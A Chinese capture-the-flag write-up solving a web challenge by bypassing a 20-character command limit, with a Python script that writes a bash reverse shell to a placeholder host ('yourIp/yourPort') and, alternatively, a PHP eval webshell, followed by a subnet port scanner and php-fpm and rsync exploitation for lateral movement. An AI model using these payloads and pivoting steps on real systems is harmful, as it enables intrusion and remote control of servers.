pcat的web入群题

youncyb 发布于 2018-09-24 3210 次阅读 CTFwriteup


0x01 前言

  前一个入群题,web方面的,也就是那个wordpress,我是一点想法都没有,不过这次的题想法倒是很清晰,侥幸做出来了,想了下,一年下来没有白学,虽然是还是很菜,但是至少有了动力。

0x02 题目描述

 

 

 

0x03 payload 构造

   一看题目,这不是hitcon2017的题吗,当时那两道题限制的是4位和5位的长度,这道题限制的是20位的长度,就更简单了,我们可以利用"echo \c"与重定向符号">  >>"将代码写入文件,只需要简单构造一下payload就行:

# written by python3.5
# -*- coding:utf-8 -*-
import requests
import urllib.parse

url = "https://473831530.trains.virzz.com/index.php"
payload = "bash -i >& /dev/tcp/yourIp/yourPort 0>&1"
#payload = "<?php @eval($_POST[1]);?>"

req = requests.get(url + "?reset=1")
x = [i for i in range(len(payload)) if i % 3 == 0]
pay = [payload[i:i + 3] for i in x]
for i in pay:
    p = "echo '" + i + "\\c" + "' >>1"
    print(p)
    assert len(p) <= 20
    requests.get(url + "?cmd={}".format(urllib.parse.quote(p)))
requests.get(url + "?cmd=bash 1")

  即可成功反弹shell,同时将第9行注释去掉,并将第15行文件名改为1.php,就可以成功写入一句话木马,通过小码传一个大码上去(ps:大马可在http://webshell8.com/ 找到)

  看起来是上传成功了,我们访问一下试试:

  上传成功,结合提示python3以及flag不在此serve,第一时间想到需要内网渗透,但是tmd ifconfig等查ip的命令都被禁用了,这里可用cat /etc/hosts 查看,而同行学弟就直接包含phpinfo页面也可成功拿到本机ip

上传一个ip&port扫描的脚本:

#!/usr/bin/env python3
import telnetlib
import threading
import queue
import sys


def get_ip_status(ip):
    server = telnetlib.Telnet()
    for port in [21, 22, 23, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 873, 1433, 3306, 3389, 5432, 6082, 6379, 7001, 7002, 8000, 9000,9090, 8080, 8081, 8089, 9090, 27017, 27018]:
        try:
            server.open(ip, port)
            print('{0} port {1} is open'.format(ip, port))
        except Exception as err:
            #print('{0} port {1} is not open'.format(ip, port))
            pass
        finally:
            server.close()


def check_open(q):
    try:
        while True:
            ip = q.get_nowait()
            get_ip_status(ip)
    except queue.Empty as e:
        pass


if __name__ == '__main__':
    host = []
    ip = sys.argv[1:]
    ip = "".join(ip)
    args = ".".join(ip.split(".")[:-1])
    for i in range(1, 256):
        host.append("{off1}.{off2}".format(off1=args, off2=i))
    q = queue.Queue()
    for ip in host:
        q.put(ip)
    threads = []
    for i in range(10):
        t = threading.Thread(target=check_open, args=(q,))
        t.start()
        threads.append(t)

    for t in threads:
        t.join()

可以在结果发现,172.16.233.111开放了80,873,9000端口,继续写脚本:

#!/usr/bin/python3
import urllib.request
import time
HEADERS = {'user-agent': ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5)'
                          'AppleWebKit/537.36 (KHTML, like Gecko)'
                          'Chrome/45.0.2454.101 Safari/537.36'),
           'referer': 'http://172.16.233.111/index.html',
           'X-Forwared-For': '127.0.0.1'
           }
file = urllib.request.Request("http://172.16.233.111:80/", headers=HEADERS)

data = urllib.request.urlopen(file)

print(data.headers)
print(data.read().decode('utf-8'))


发现redirect.php,修改脚本尝试访问redirec.php,却是:连接失败

网上搜索873端口和9000端口,发现873存在rsync未授权访问和9000存在php-fpm未授权执行任意命令,尝试rsync,但在222这台是禁用了这个命令的,
继续搜9000端口,在Phithon牛一篇文章(https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)发现存在exp利用脚本,上传后,运行在根目录下发现flag文件:

  但是我们不是root权限,只是一个普通的nobody权限,查看不了flag,这时又被卡住了,想着去提权试试,但是想了下有点不可行,你能到root权限那还得了,又想到873的未授权访问还没利用呢,迅速查一下rsync的配置文件:

这可恶啊,限制了本地,我去,是说怎么执行不了rsync命令,最后请教了一下学长,学长说:“既然都能任意命令执行了,为什么不反弹个shell呢?”,wc我还真是个弟中弟,做题做傻了,直接/tmp shell反弹(还是参考phithon牛https://www.leavesongs.com/PHP/backshell-via-php.html):

  成功反弹shell,我们继续执行rsync命令即可得到flag:

最后更新于 2018-10-25